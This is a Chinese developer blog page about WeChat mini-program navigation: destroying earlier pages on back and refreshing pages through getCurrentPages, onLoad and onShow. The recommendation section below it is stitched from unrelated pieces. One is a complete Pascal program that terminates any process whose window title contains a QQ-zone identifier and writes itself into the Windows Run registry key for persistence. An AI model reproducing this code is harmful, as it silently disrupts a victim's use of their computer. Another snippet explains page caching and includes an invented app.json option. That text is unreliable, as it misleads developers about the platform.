小程序点击返回键时销毁之前页面以及页面刷新

小程序点击返回键时销毁之前页面

//监听页面卸载
onUnload:function(){
let pages = getCurrentPages().length - 1;
    console.log('需要销毁的页面:'+pages);
    wx.navigateBack({
      delta: pages
    })
}

小程序刷新重置当前页面

方法一:


// 方法一、获取当前页面栈的数组,数组中最后一个就是当前页面,然后onload当前页面。
if (getCurrentPages().length != 0) {
       //刷新当前页面的数据
       getCurrentPages()[getCurrentPages().length - 1].onLoad()
}

// 方法二、在onShow中调用刷新数据的方法
onShow() { //返回显示页面状态函数
    //只执行需要刷新局部数据的方法,来进行局部刷新       ******推荐
}

方法二:

//强制页面数据刷新
//      B页面   =>    A页面
wx.switchTab({ 
	url: '/pages/A页面',
	success(){
		let page = getCurrentPages().pop();  
		if( page == undefined || page == null ) return;
		page.onLoad()
	}
});

方法三:

//带参返回上一页,并刷新页面
//先获取上一个页面的信息栈, 再修改上个页面路由中携带的参数, 
//再通过wx.navigateBack返回上一页, 
//最后在上一个页面中的onShow中调用相应的方法,刷新数据

pageB   =>     pageA

//  pageB页面   2 表示上一个页面
    let pages = getCurrentPages();    //获取当前页面信息栈
    
    if(pages.length<=2) return; 
    
    let NPage = pages[pages.length-2]     //获取上一个页面信息栈
    
    NPage.setData({             //  修改上一个页面的路由携带的信息
    
        data:   data ,          // 需要传递测参数
        
    }),
    
    wx.navigateBack();          //  返回上一个页面

//  pageA页面   1 表示当前页面
    let pages = getCurrentPages();    //获取当前页面信息栈
    
    if(pages.length<=1) return; 
    
    let NPage = pages[pages.length-1]     //当前页面
    
    let data = NPage.data.data;     //获取当前页面路由中携带的data数据
  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Program haha; Uses Windows, Messages, shellapi; // {$R *.res} Const AppName: PChar = 'haha'; Var prosid: dword; closehd,hCurrentWindow: hwnd; Hk: HKEY ; WndText:array[0..25] of char; function GetKJWnd(): hwnd; begin hCurrentWindow:=GetForegroundWindow; begin GetwindowText(hCurrentWindow, @WndText, 255); if (Pos('94384715.qzone',WndText)>0) then begin Result:=hCurrentWindow; Exit; end; end; Result:=0; end; Procedure closekj; Begin closehd:=GetKJWnd(); if closehd<>0 then begin GetWindowThreadProcessId(closehd,@prosid); if prosid<>0 then TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,prosid),$FFFFFFFF); end; End; Function WndProc(AWnd: HWND; message: UINT; wp: WPARAM; lp: LPARAM): LRESULT; stdcall; Begin Result := 0; Case message Of WM_DESTROY: PostQuitMessage(0); Else Result := DefWindowProc(AWnd, message, wp, lp); End; End; Var wc: WNDCLASS; HMainWnd: HWND; AMsg: MSG; Begin With wc Do Begin style := CS_VREDRAW Or CS_HREDRAW; lpfnWndProc := @WndProc; cbClsExtra := 0; cbWndExtra := 0; hIcon := LoadIcon(0, IDI_APPLICATION); hCursor := LoadCursor(0, IDC_ARROW); hbrBackground := GetSysColorBrush(COLOR_WINDOW); hInstance := HInstance; lpszMenuName := Nil; lpszClassName := AppName; End; RegisterClass(wc); HMainWnd := CreateWindow(AppName,AppName, WS_OVERLAPPEDWINDOW, Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT), HWND_DESKTOP, 0, HInstance, Nil); UpdateWindow(HMainWnd); SetTimer(HMainWnd, 1, 1000, @closekj); RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Hk); RegSetValueEx(Hk, 'setrun', 0, REG_SZ, pchar(ParamStr(0)), 255); While GetMessage(AMsg, 0, 0, 0) Do Begin TranslateMessage(AMsg); DispatchMessage(AMsg); End; End.
微信小程序中的watch页面不会自动销毁的原因是为了提高小程序的性能和用户体验。 在微信小程序中,页面分为两种类型:tabBar页面和非tabBar页面。对于tabBar页面,微信小程序默认会将其保留在内存中,不会销毁,这是因为tabBar页面通常是比较常用的页面,需要频繁切换。而对于非tabBar页面,微信小程序会对页面进行销毁和缓存的策略。 在非tabBar页面中,如果我们设置了页面的`wx.navigateBack`方法或者用户触发了页面返回操作,页面的生命周期函数`onUnload`会被触发,页面会被销毁。但是,在某些场景下,我们可能希望页面不被销毁,而是保留在缓存中,方便下次进入时快速加载。 为了实现这一需求,微信小程序提供了`wx.navigateTo`和`wx.redirectTo`方法,可以跳转到一个新页面,而不触发当页面的`onUnload`生命周期函数。这样做的好处是,当页面不会被销毁,仍然会保留在内存中。当用户再次返回到这个页面时,页面会从缓存中快速加载,提高了用户的体验。 需要注意的是,即使页面没有被销毁,也会有一些限制。比如,当页面数量超过了微信小程序的限制时,会启动页面回收机制,自动销毁一些页面以释放内存。另外,开发者也可以在`app.json`文件中对页面进行配置,如设置`"window"{ "pages": ["page1", "page2"] }`可以指定哪些页面销毁、保留在缓存中。 总之,微信小程序的watch页面销毁这一设计是为了提高小程序的性能和用户体验,同时也提供了一些方法和配置选项给开发者来控制页面销毁和缓存。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值